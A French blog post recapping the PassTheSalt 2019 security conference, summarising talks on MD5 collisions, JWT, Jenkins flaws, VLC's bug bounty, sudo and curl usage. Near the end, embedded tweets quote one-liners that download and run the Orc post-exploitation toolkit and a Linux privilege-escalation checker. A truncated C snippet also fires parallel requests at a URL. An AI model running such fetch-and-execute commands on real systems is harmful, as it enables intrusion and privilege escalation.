Grace à Techsys j'ai eu la chance d'assister à l'édition 2019 de PassTheSalt. C'est une conférence orientée sécurité informatique en locution anglaise par son caractère international. C'est la deuxième édition, elle se tient cette année encore à Polytech Lille. Chaque demi journée est regroupée par thème technique.
Ange Albertini nous présente les différents systèmes de hachage de fichiers et pourquoi il y a un risque de collision avec MD5. En gros résumé, le risque est lié au préfix du fichier quel que soit son hash. Et arrêtons de croire que le MD5 n'existe plus, il nosu fait un petit rappel historique des récentes alertes liées.
En réalité, plus qu'un problème de hash, c'est un problème de format de fichier et de vérification préalable du hash. Que ce soit MD5 ou autre chose.
Petite démo basée sur https://github.com/corkami/collisions
En conclusion, MD5 est surtout pratique car il permet de prendre conscience facilement des risques liée à ce format de fichier. Utiliser SHA1 ou SHA256 ne permet que de repousser l'échéance de sa fragilité.
- Slides PassTheSalt,
- basés sur le workshop
Georges-B. Michel nous présente un outil pour mieux comprendre une application Android. Il utilise un outil d'instrumentation qu'il a créé, Dexcalibur. C'est un plugin de Frida.
Pour être honnête, je n'y ai pas compris grand chose si ce n'est découvert que ce monde existait.
Aurélien vient nous exposer à quel point les composants IOT accessibles en NFC sont fragiles. Il utilise et nous fait passer différents modèles de Cahamelon Mini
Là encore, j'ai découvert un monde inconnu, j'ai juste pris encore plus conscience des dangers du NFC dans un TAG d'immeuble, carte bancaire, passeport, .... et moins surpris que tout cela soit accessible en opensource.
C'est Johannes vom Dorp, du laboratoire Fraunhofer, qui s'y colle. Cela m'aura permis de connaître ce laboratoire que je ne connaissais que pour avoir inventé l'algorithme "mp3". En vrai c'est un gros truc, à peu près l'équivalent du CNRS chez nos voisins germains.
FACT, pour Firmware Analysis and Comparaison Tool est un outil pour mieux choisir les firmware embarqués dans l'IOT si j'ai bien compris. Honnêtement, je n'ai pas compris grand chose au sujet.
Thomas Barabosch et Nils-Edvin Enkelmann, tous deux chercheurs au laboratoire Fraunhofer, nous présentent un outil de recherche de vulnérabilité, cwe_checker.
Le principe est simple, automatiser le désassemblage de code pour en trouver les failles pendant l'exécution (Common Weakness Enumerations)[https://cwe.mitre.org/].
Ca se branche sur BAP Binary Analysis Platform, c'est connexe à FACT, et ce sera bientôt dans GHYDRA.
Christian Herrmann présente proxmark3.
J'étais rincé par cet après-midi charabia pour moi. J'ai juste retenu qu'il y avait eu d'autres versions avant et que celle là était trop cool.
Francois Lesueur, professeur à l'INSA, nous présente un logiciel pour aider les étudiants dans leurs travaux de
- compréhension du fonctionnement d'internet
- apprentissage du pentesting
mi-lxc est donc un projet OpenSource, fonctionnel sur un laptop d'étudiant, d'oû le parti pris LXC dans un Virtualbox. Il se devait d'avoir systemd pour en expliquer son fonctionnement.
En un script python, on crée des machines, du réseau, du BGP, du DNS, des serveurs web et messagerie, et on prend le contrôle des environnement graphique (XFCE).
J'ai beaucoup aimé cet outil et ai pris plaisir à le tester depuis un Vagrant sur mon poste.
Autre avantage éducatif, le projet est sur le repo github du professeur, ce qui lui procure une forme de reconnaissance de la part des étudiants.
Il est alors possible de reproduire des TPs d'intrusion des étudiants eux aussi dispo sur Github.
- Slides PassTheSalt
- Projet MI-LXC
- Les TPs : csc, srs
Thibaud Binetruy, membre de la Blue Team du CERT Société Générale présente des outils de test de phishing
- swordphish-awareness : logiciel de création de campagne concu d'abord pour des non informaticiens. Ce logiciel est OpenSource, sur Github et utilisable par tous. Il génère surtout des tableaux Excel car finalement tout le monde a ce logiciel sur son poste et n'a pas vraiment besoin de super dashboard.
- FAME Automates Malware Evaluation : un outil web pour automatiser les macros Office imaginées plus haut.
- Fast Incident Response : l'outil utilisé par l'équipe support qui traite toutes les alertes de sécurité, notamment celles reçus via Outlook :
- NotifySecurity : c'est tout simplement un plugin Outlook maison pour signaler un incident de sécurité, car il a été constaté que l'entreprise est suffisemment grande et cloisonnée qu'il devenait difficile pour les collaborateurs d'identifier leur relais sécurité alors qu'à l'inverse c'est là qu'il y a besoin de la plus grande réactivité.
Plus de renseignements sur le blog du CERT : http://blog.cert.societegenerale.com/
Louis Nyffenegger nous fait un rappel théorique sur la composition d'un token web JSON tel que défini par la RFC 7519.
- un header, un payload, une signature
- encodé en base64
- séparés par des points
La signature peut-être chiffré par un secret au format HMAC ou un couple de clé RSA Certains champs sont requis dans le body. Tout cela n'a de sens que sur un TTL court.
Un bon moyen d'exploiter un token JWT est de contourner la signature.
Il nous présente comme utiliser le projet express-rest-api-boilerplate pour manipuler chaque partie du JWT.
C'est Chris Woodrow qui se colle à la présentation de la MAIF et son engagement dans le logiciel libre : https://maif.github.io
J'ai apprécié son Disclaimer, "je ne suis pas un expert sécurité les mecs". J'ai apprécié le jeu de cartes "toi aussi construit ta nouvelle plateforme" : https://maif.github.io/cards
On sent que les mecs ont été inspiré par Quentin Adam de chez Clever Cloud. Autant leur infra est hébergée là bas, autant c'est un juste retour des choses (cf la dernère conf de Quentin au DevFest, cette phrase qui fait la différence : "our goal : get focused on business value".
Un des objectif a donc été de migrer un mastodonte SAP Hana avec des technologies modernes, et donc des microservices exposés par des API. Il fallait donc choisir la meilleure passerelle d'API Management en mode reverse proxy. Rien d'existant n'existait, ils ont alors décidé de créer leur propre solution : otoroshi.
Les atendus sont simple :
- exposition des apps'
- résilience
- quotas
- monitoring
Otoroshi est en position de concurrent de gravitee, déjà utilisé par nos clients.
Chris présente donc nombre de paramètres à mettre en oeuvre pour sécuriser leurs applications, grace à Otoroshi. Quelques extraits ci-dessous.
Otoroshi est OpenSource car MAIF est bien dans une démarche d'OpenSource.
Thomas Chauchefoin et Julien Szlamowicz, pentester chez Synacktiv
Synacktiv est enthousiaste avec le logiciel libre: on peut analyser le logiciel, l'installer dans un labo, lire le code, toute information est utile. Dans le cas d'applications PHP, des logiciels comme PHP-Parser ou RIPS s'avèrent vite indispensables pour l'analyse de code.
Le cas d'école présenté ici l'analyse de GLPI.
Le mieux est de reprendre les slides, inutile de paraphraser.
On retiendra que Synactiv a bien identifié un certain nombre de vulnérabilités dans GLPI et qu'il est important pour les utilisateurs de mettre à jour leur instance. Qui plsu est, Shodan pourra toujours aider à trouver des instances vulnérables.
Orange Tsai est pentester chez DevCore à Taiwan. Il vient nous présenter comment en 2 mois (1 mois de code review, 1 mois de pentest) il a pu identifier des failles de sécurité dans le logiciel Jenkins, le logiciel le plus utilisé au monde pour réussir son CI | CD
Il a pu identifier 83000 instances publiques sur Shodan. Il nous fait un résumé rapide de problèmes connus : génération de cryptomonnaie, attaques de Snapshat, ...
Dans un premier temps il a découvert des problèmes d'héritage de classe, qu'il y avait donc possibilité d'usurper ce fonctionnement. Puis il a identifié le système de whitelist par pages que l'on peut bypasser via usurpation de crédentials (via une fonction Search object). Par exemple le /securityRealm est whitelisté apr défaut.
Ensuite, en regardant comment fonctionner les pipelines, il a appris le langage Groovy et découvert qu'il était possible de de passer en mode programming ou compile. Et là, Groovy laisse tout passer. Possible de mettre ce qu'on veut dans l'url , c'est interêprté.
Un moyen de s'en prémunir peut être d'utiliser un @Grab ou un @GrabResolv dans le plugin Groovy.
Orange décrit donc comment il a pu signaler des erreurs de sécurités critiques et comment elles ont permis d'en identifier d'autres.
- Slides PassTheSalt
- Plus de détails sur le Blog d'Orange
My slides "Hacking Jenkins" for #pts19 and #HITBAMS is out! This is my first time to go French and Pass the SALT(@passthesaltcon) is such a really really good and interesting conference!https://t.co/S4VUf3k1Zq
— Orange Tsai 🍊 (@orange_8361) 3 juillet 2019
Jean-Baptiste Kempf, président de l'association Videolan, vient nous parler sécurité autour d'un des 10 logiciels installés sur tous les orfinateurs sous Windows. VLC est populaire car il peut tout lire tout simplement, quel que soit le codec, et ce sur n'importe quelle plateforme. Il y a plus de versions encore que Chrome ou Firefox, avec près d'un million de téléchargements quotidiens.
VLC n'est maintenu que par des bénévoles, intialement par des étudiants de Centrale Paris. Chacun travaille sur d'autres projets, souvent OpenSource, mais aucun n'est rémunéré pour maintenir VLC. VLC arrive avec son lot de dépendances avec ses 15 millions de lignes de code en Assembleurs dont certaines présentes depuis des années. La communication entre l'équipe se fait essentiellement via mailing liste "parce que ce sont des vieux".
Le code et notemment les pipelines de construcion de binaires a été migré récemment de Jenkins à Gitlab. Chaque commit est signé avec une HSM (une Yubikey ) et GPG.
Jean-Baptiste nous parle alors d'un Bug Bounty réalisé sur VLC et de son expérience là dessus. Première remarque, il est assez agacé par le fait qu'on donne surtout de l'argent à ceux qui trouvent les failles de sécurité plutôt qu'à ceux qui les corrigent, or on l'a vu, tout le monde est bénévole chez VLC. Ils ont donc choisi de donner plus d'argent à ceux qui proposeraient un patch. Ce concours a été réalisé dans le cadre du FOSSA. Grace à ce concours, 31 failles de sécurité ont été découvertes dont une critique, parfois sur des portions de code pour lesquelles parfois les développeurs ont quitté le projet, "merci l'opensource", 20 failles à risque moyen, 10 failles peu dangeureuses. Et il y a eu de tout :
- 2 chinois qui voulaient tout expliquer, proposaient des patchs,
- d'autre augressifs, voire insultant,
- du "flood" pour une seule issue
- la mauvaise fois particulière des francais
- on trouve aussi un tas de papiers putaclic complètement faux dans Hackernews, le "Voici" de la communauté des spécialistes en sécurité informatique
- certains disent que le Gouvernement Français aurit inséré une porte dérobée (!!!)
Alerte ! La communauté "infosec" est vraiment agressive.
VLC n'est qu'un logiciel pour lire des vidéos, il n'est pas vital pour une infrastructure informatique. Si une faille était présente hier, elle le sera encore demain. Rappelons que le code est maintenu par des bénévoles ! Et qui plus, l'équipe n'a pas accès à la déclaration de CVE. Ce n'est donc pas utile d'en demander, encore moins d'insister.
Il rappelle aussi une autre difficulté, comment mettre à jour le millions de binaires tous les mois. C'est bien à l'utilisateur à mettre à jour son logiciel.
Nous avons un rappel également sur les difficultés de gagner de l'argent dans l'OpenSource. Finalement, il n'y a que deux modèles qui fonctionnent :
- Mozilla gagne de l'argent en acceptant un logo Google dans leur logiciel,
- GNOME et Libreffice touchent un peu d'argent via RedHat
VLC ne rempli aucune de ces conditions. Pire encore, l'industrie du multimédia craint VLC.
Nous apprenous que de nouvelles plateformes sont en cours (Switch, Javascript, ...)
C'est Aaron Macsween qui s'y colle. Il est moins juriste et présentera surtout l'aspect "vie privée"
Errata : scheduling conflict, I am not a lwyer
On comprendra rapidement que XWiki est une usine à Wiki, "sécurisée". Cette entreprise a aussi édité un logiciel de type CryptPad, grace à des financements de la BPI. Il est entres autres utilisé par le Parti Pirate allemand ou le CCC.
Il est conforme au GDPR.
Qui connaît les règles de base du GDPR n'apprendra pas grand chose ici.
C'est Nicolas Pamart, apprentice developper chez Stormshield nous présente les difficultés rencontrées pour implémenter la nouvelle chaîne de négociation TLS1.3.
Nous avons ici une présentation des différences de protocole et les résultats du PoC. Ce dernier est soumis à débat à la communauté.
Cela permet de se documenter sur QUIC et HTTP/3 grace aux questions.
Quinn Norton et Raphaël Vinot nous présentent un outil d'analyse de site internet, notamment en vue d'en identifier les composants vulnérables.
On se fait une démo sur Le Monde.fr, et tout un tas de démo pendant les quickies.
- Slides Rudder : présentation rapide de Rudder
- Slides Total Recall : un outil de classification d'images
- Slides GameBuildKeyboard : ou comment transformer une GameBoy en clavier
- Slides BPFCTRL : Suricata supporte eBPF
- Slides Orga : quelques chiffres sur l'organisation de PassTheSalt et le badge
- Slides Fuzz Rust : un parser de code
- Slides RUMP : un peu de sémantique
- Slides MISP : un DNS Firewall à pas cher
Guy Reumond nous donne quelques chiffres sur Polytech Lille
La seule école interne de l'université de Lille, sur une surface de 25000 m2, elle est membre d'un réseau de 15 écoles et accueille 12000 étidients, 3000 ingénieurs par an sur 100 spécialités (dont 9 à Lille)
A Lille, c'est 90 doctorants, 1500 étudiants, et le laboratoire CRIStAL, le Centre de Recherche en Informatique, Signal et Automatique de Lille
Il est rappelé que PassTheSalt est gratuit avant tout car Polytech prête gracieusement les amphis et les salles pour les ateliers.
Rappel simple.
ce n'est pas parce qu'il n'y a pas d'erreurs que ça marche !
L'idée est ici de voir en quoi un logiciel de gestion de configuration peut aider à
- améliorer les déploiements
- améliorer l'observabilité du parc
- améliorer la compliance
- augmenter la sécurité du parc
En questions, les templates OpenSCAP ne sont pas encore disponibles dans Rudder.
I like my beer like I like my Linux operating system, free and open! CEO must be a fan of Unix like systems. Thanks https://t.co/CZ9jSyZP4H pic.twitter.com/CaZLX45SAa
— The Best Linux Blog In the Unixverse (@nixcraft) July 5, 2019
Pater Czanik, consultant sécurité chez One IdentityWork ) vient nous parler d'un outil tout ce qu'il y a de plus commun sudo
Une des fonctionnalités les plus amusantes, le mode insulte, initiallement par défaut mais retiré pour devenir politiquement correct.
On a droit à une démo cool façon ttyrec permettant de rejouer les commandes passées dans une session sudo. Ca demande un peu de configuration sur une Ubuntu par exemple.
sudoreplay -l puis -n <session id>
On peut utiliser sudo pour effectuer du contrôle d'intégrité (Digest verification).
La gestion des plugins a été introduite dans la 1.9, parmi ceux là, nous retenons :
- sudo_pair : donne la possibilité d'approuver à la demande un certain nimbre de commandes.
Rappel, la configuration se lit de haut en bas, on place donc généralement les exceptions en bas de fichier.
On a deux possibiliés de maintien de la configuration sudoers :
- via du configurationmanagement (Puppet, Ansible, ...) mais ce n'est donc pas temps réel, il faut modifier un modèle, le déployer ...
- le faire apprendre via une session LDAP, c'est donc temps réel, mais la configuration est plus limitée (toutes les foncyions ne sont pas disponibles)
Bien sûr, tout cela est loggué simplement dans syslog_ng
et on peut même déclencher un bot #Slack !
Mehdi Laruelle de chez D2SI nous présente un outil de coffre fort de secrets, Vault. La demo tourne essentiellement autour de la version Enterprise de Vault sur une infrastructure de type cloud public.
La présentation était selon moi peu adaptée pour une initiation surtout au vu des questions. Le seul moyen de comprendre est d'aller regarder les vidéos accessibles via des QR codes par vraiment accessible à un oeil ou un clic de souris. Bref, heureusement que j'utilise chez mon client dans la version OpenSource avec l'interface graphique Goldfish. Je n'ai pas appris grand chose, pire, j'ai dû vérifier que j'avais bien comrpris.
Philipp Krenn, développeur chez Elastic, nous présente la stack ELK et sa facilité à analyser les logs d'Audit.
On fait untour d'horizon auditd pour bien en comprendre les fondamentaux et aussi les difficultés à réaliser ces opérations en masse.
Un ausearch n'est pas la commande la plus simple à manipuler.
Tout n'est pas encore opérationnel pour un conteneur Docker. Mais il existe bien un module filebeat maintenant.
Auditd permet notamment de contrôler l'intégrité des fichiers, le nombre de process ou de socket, le tout grace à inotify sous Linux.
Elastic a sorti sont dashboard orienté SIEM. C'est utilisable en mode drag'n'drop pour explorer les données au moins aussi facilement que dans SPLUNK. Cete brique est très récente (semaine dernière) mais supporte déjà cisco, suricata, netflox, ...
#pts19 slides and demo code for "Scale Your Auditing Events": https://t.co/9ZNIH48L1S
— Philipp Krenn (@xeraa) 3 juillet 2019
From Auditd to Auditbeat and @elastic SIEM. Demo showing suspicious ports being opened pic.twitter.com/hQ8lMHaaOg
C'est ici une présentation académiques, complexe à suivre pour un non initié comme moi mais Gabriel Scherer a réussi à rendre cela très vivant. Le pitch, montrer comment un outil d'analyse de code peut aider à améliorer sa sécuriyé (variables non définies, ...)
D4 Project - Design and Implementation of an Open Source Distributed and Collaborative Security Monitoring
Cette présentation m'a semblé elle aussi peu accessible. L'idée est d'avoir un outil pour analyser les problèmes de sécurité via un fournisseur d'accès ou un Etat, ici le Luxembourg. J'ai peu suivi le propos.
Max Mehl est Programmer Manager à la Free Software Foundation. Il nous présente pourquoi les caractéristiques propores au logiciel libre viennent garantir la sécurité du logiciel.
Il effectue donc un premier rappel des libertés fondamentales :
- la liberté d’utiliser le logiciel, pour quelque usage que ce soit — liberté 0
- la liberté d’étudier le fonctionnement du programme, et de l’adapter à vos propres besoins — liberté 1
- la liberté de redistribuer des copies à tout le monde — liberté 2
- la liberté d’améliorer le programme et de publier vos améliorations — liberté 3.
Il en vient ensuite à illustrer la sécurité informtique avec Bruce Schneier
Security is not a product, it itself is a process
En réalité, qu'est-ce qu'une faille de sécurité. Ce n'est qu'une anomalie, un bug. Et qu'est-ce qu'on en fait, on le corrige. Puis on forme les humains, on corrige les libraireis connexes, et enfin on monte en production selon des règles de vente ou de support.
Il y a alors 4 avantages au logiciel libre pour développer un logiciel securisé
- Transparence pour tous
- Diminution de la pression ($oh mon code est trop moche, je ne le publie pas....)
- Partage de synergies pour encorurage les contributions (rexemple entre des communes qui auraient le même besoin)
- L'indépendance (et l'éloignement si besoin par fork)
Mais attention, des questions restent ouvertes autour des considérations sécurité
- qui est responsable des modifications
- qui réutilisera et dans quelles conditions
- "Sécurité Nationale"
- Attention aux autres composants (de l'intérêt d'utiliser de l'open hardware)
A cela s'oppose souvent
- le logiciel libre, c'est seulement pour des applications non critique : non justement, non, au contraire !
- le code rendu public est un risque : non, au contraire, tout le monde peut l'améliorer et en voir les failles avant qu'il ne soit trop tard
- le logiciel libre c'est uniquement pour les lobbyist : toujours non, de grosses entreprises contribuent comme RedHat, Microsoft, ....
- le secret professionnel : oui et non, mais se règle souvent
Example Huawei : sous un prétexte de perte de confiance dans un seul et unique opérateur 5G au logiciel fermé, des Etats ont décidé de ne plus travailler avec cet éditeur.
Kenan Ibrović présente les travaux réalisés dans le cadre de The Organized Crime and Corruption Reporting Project
L'objectif ici est de permetre un déploiement d'une solution d'accès multi-site sécurisé.
L'idée a donc été de déployer OpenWRT et WireGuard avec Salt et la supervision de la plateforme avec Zabbix
- OpenWRT : distribution linux pour routers, opensource, stable, beaucoup de packages déjà portés
- Wireguard : solution de vpn
- Saltstack : déploiement de configuration sécurisé et scalable (focus sur la sécurisation des Pillars)
- Zabbix : monitoring
- OpenVPN : authentification du VPN
Difficultés rencontrées :
- pas simple de faire tourner Salt sur OpenWRT, le contournement a été salt-ssh
- Pb sur la libcrypto (python, openssl), corrigé via un script maison
Yoann Lamouroux, adminsys chez Dataimpact a réussi à nous apprendre des usages à un outil des plus communs, cURLl.
C'est outil simple, toujours maintenu depuis 1996, présent par défaut sur tous les sysètmes d'exploitation.
Tout d'abord les basiques, les redirections pendant la lecture
* : is information
> : protocol verbose FROM your computer (*)
< : protocol verbose TO your computer (*)
} : encrypted data FROM your computer
{ : encrypted data TO your computer
[xxx] : size (in bytes) of data transferred.
(ssl verbose with brackets is shown only when stdout is redirected)
(*) : doesn't mean it's not encrypted
jusqu'à un usage plus verbeux
tcpdump might not be the answer (yet).
--trace and --trace-ascii for byte-per-byte analysis.
Use - or filename as an argument to write to stdout or to a file.jusqu'à nous rappeler un non-sens (j'avoue, je l'ai souvent fait)
time curl http://example.org
s'écrit normalement
curl --trace-time -v http://example.org
exemple :
$ curl --trace-time -v http://clx.asso.fr/spip/
07:37:56.358080 * Trying 80.67.160.70...
07:37:56.358222 * TCP_NODELAY set
07:37:56.366589 * Connected to clx.asso.fr (80.67.160.70) port 80 (#0)
07:37:56.366776 > GET /spip/ HTTP/1.1
07:37:56.366776 > Host: clx.asso.fr
07:37:56.366776 > User-Agent: curl/7.58.0
07:37:56.366776 > Accept: */*
07:37:56.366776 >
07:37:59.358449 < HTTP/1.1 200 OK
07:37:59.358842 < Server: nginx/1.2.1
07:37:59.358998 < Date: Fri, 19 Jul 2019 05:37:59 GMT
07:37:59.359221 < Content-Type: text/html; charset=utf-8
07:37:59.359386 < Transfer-Encoding: chunked
07:37:59.359501 < Connection: keep-alive
07:37:59.359628 < Vary: Cookie,Accept-Encoding
07:37:59.359790 < Composed-By: SPIP 3.0.28 @ www.spip.net + spip(3.0.28),compagnon(1.4.1),dump(1.6.9),images(1.1.11),forum(1.8.43),jqueryui(1.8.21),mediabox(0.8.11),mots(2.4.16),msie_compat(1.2.0),organiseur(0.8.12),petitions(1.4.6),porte_plume(1.12.5),revisions(1.7.12),safehtml(1.4.1),sites(1.7.20),squelettes_par_rubrique(1.1.1),stats(0.4.41),svp(0.80.28),tw(0.8.32),urls(1.4.29),vertebres(1.2.2),socialtags(1.2.0),corbeille(3.1.2),alias(0.1.4),gravatar(1.6.8),a2a(2.2.3),lire_aussi(1.1.0),nospam(1.6.1),odt2spip(2.1.4),spip_bonux(3.4.6),nuage(4.0.7),rssarticle(1.1.6),twitter(1.7.3),calendriermini(2.4.1),thumbsites(1.1.6),cfg(3.0.0),ancresdouces(1.5.1),noie(2.0.0),correction_liens_internes(1.5.1),facteur(3.6.4),notifications(3.6.9),spipdf(0.2.14),versioning(3.2.1),verifie31(1.1.1),lister_logos(2.2.5),googleanalytics(0.5.3),saisies(3.21.1),agenda(3.31.2),csv2auteurs(1.1.7),lesscss(1.4.2),bootstrap(2.1.10),adaptive_images(1.11.2),iterateurs(0.6.1),que
07:37:59.359959 < X-Spip-Cache: 7200
07:37:59.360143 < Last-Modified: Fri, 19 Jul 2019 05:37:56 GMT
07:37:59.360322 < X-Backend-Server: 10.0.0.41:80
07:37:59.360503 <
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
<head>
[....]
07:37:59.399546 * Connection #0 to host clx.asso.fr left intactou encore un moyen élégant d'exécuter curl en mode silentieux et utile
curl -w "http/%{http_version} %{http_code} -- %{time_total}" -s -o/dev/null http://clx.asso.fr
et depuis les versions récentes de cURL, il est aussi possible de surcharger le fichier /etc/hosts :
curl -v --resolve www.example.com:443:1.2.3.4 https://www.example.com/
ou encore faire la même chose en mode UI
et cerise sur le gateau, la possibilité de faire un bout de code C pour simuler un ab
curl --header "Hello: World" -w '# %{http_code} -- %{time_total}' --libcurl test.c -so/dev/null http://clx.asso.fr
Donne ceci :
/********* Sample code generated by the curl command line tool **********
* All curl_easy_setopt() options are documented at:
* https://curl.haxx.se/libcurl/c/curl_easy_setopt.html
************************************************************************/
#include <curl/curl.h>
int main(int argc, char *argv[])
{
CURLcode ret;
CURL *hnd;
struct curl_slist *slist1;
slist1 = NULL;
slist1 = curl_slist_append(slist1, "Hello: World");
hnd = curl_easy_init();
curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(hnd, CURLOPT_URL, "http://clx.asso.fr");
curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(hnd, CURLOPT_HTTPHEADER, slist1);
curl_easy_setopt(hnd, CURLOPT_USERAGENT, "curl/7.58.0");
curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
/* Here is a list of options the curl code used that cannot get generated
as source easily. You may select to either not use them or implement
them yourself.
CURLOPT_WRITEDATA set to a objectpointer
CURLOPT_INTERLEAVEDATA set to a objectpointer
CURLOPT_WRITEFUNCTION set to a functionpointer
CURLOPT_READDATA set to a objectpointer
CURLOPT_READFUNCTION set to a functionpointer
CURLOPT_SEEKDATA set to a objectpointer
CURLOPT_SEEKFUNCTION set to a functionpointer
CURLOPT_ERRORBUFFER set to a objectpointer
CURLOPT_STDERR set to a objectpointer
CURLOPT_HEADERFUNCTION set to a functionpointer
CURLOPT_HEADERDATA set to a objectpointer
*/
ret = curl_easy_perform(hnd);
curl_easy_cleanup(hnd);
hnd = NULL;
curl_slist_free_all(slist1);
slist1 = NULL;
return (int)ret;
}
/**** End of sample code ****/Il ajoute un peu de code, compile et hop !
#include <curl/curl.h>
#include <omp.h>
#define MAX_THREAD 64
#define LASERS 1000
#define URL "http://www.example.com"
int main(int argc, char *argv[]) {
int tid, i = 0;
FILE *devnull;
devnull = fopen("/dev/null", "w");
#pragma omp parallel private(i) num_threads(MAX_THREAD)
{
#pragma omp for
for(i = 0; i < LASERS; ++i) {
tid = omp_get_thread_num();
CURLcode ret;
CURL *hnd;
double total;
curl_off_t dl, ratNicolas Mattiocco, consultant sécurité, nous présente un outil pour orchestrer les scanners de sécurité et comment développer son propre connecteur.
J'avoue que j'ai peu suivi, ça doit être un ansible de nessus mais je n'en suis pas certain.
Je n'ai pas pris le temps d'aller voir les ateliers, mais je vais essayer de reporter ici les slides ou code associés
🆕 Apprenez à configurer LemonLDAP::NG pour faire de l'authentification LDAP et du second facteur (TOTP) avec FreeOTP !
— Worteks (@worteks_com) July 9, 2019
➡️ https://t.co/vlAo6aFAnR
ℹ️ Atelier donné début juillet lors de @passthesaltcon #SSO #IAM #MFA #2FA #LDAP #lemonldap #lemonldapng #LogicielLibre #pts19
A titre perso, cela m'aura permis de tester un tas d'outils inconnus, découvrir des options dans des outils pourtant maîtrisés, et de mettre à jour mon ordinateur qui refusait de découvrir le wifi.
Protip : dans vi :r ! echo "blah blab" | base64
Synactive recrute un adminsys en remote
J'ai trouvé rigolo le début de la présentation de Orange Tsai qui prend quelques secondes pour situer son pays, Taiwan, enre la Chine et le Japon.
HotCRP, le logiciel pour organiser une conférence comme PassTheSalt.
wget https://t.co/4B2X4dxE7H && ENV=o.rc sh -i
— Fried Phish. (@friedphishes) 27 juin 2019
"gethelp", and run through what Orc has available. Usually highly profitable endeavour.
wget https://raw.githubusercontent.com/zMarch/Orc/master/o.rc && ENV=o.rc sh -i
"gethelp", and run through what Orc has available. Usually highly profitable endeavour.curl -O https://t.co/e9yvsGVkXs; python https://t.co/Mj5SvJmA3U
— mimikyu (@fak3r) 27 juin 2019
curl -O https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py ; python http://linuxprivchecker.pyAlors, VLC dans du Javascript, je sais pas .... https://splash.readthedocs.io/en/stable/
QUIC : un système de transport pour Internet : https://en.wikipedia.org/wiki/QUIC
Carnet d'observations, de remarques et de compte rendu des travaux effectués en rapport avec la psychologie : https://denem.org/psycho/index.php?category/Cours
An example of C parser using verification to prove absence of runtime exceptions: x509-parser https://t.co/vqEazp6fpn #pts19
— Pierre C (@pollux7) 3 juillet 2019
Je n'ai pu aller à @passthesaltcon cette année mais heureusement que Twitter a poussé des informations et que @xme nous rédige un beau résumé ! #pts19https://t.co/2xqtxXBhY6
— Bertrand Méens (@gritche_) July 4, 2019
Vivement l'année prochaine pour se libérer du temps pour #pts20 !
Phishing awareness video by the Dubai Police. #shaggy #wasntMe https://t.co/v7hEc2hGOA
— Hash Miser (@H_Miser) July 10, 2019
Peut-on cracker un badge d'immeuble ? l Konbini : https://www.youtube.com/watch?v=TM-4TCztNjk&feature=em-uploademail
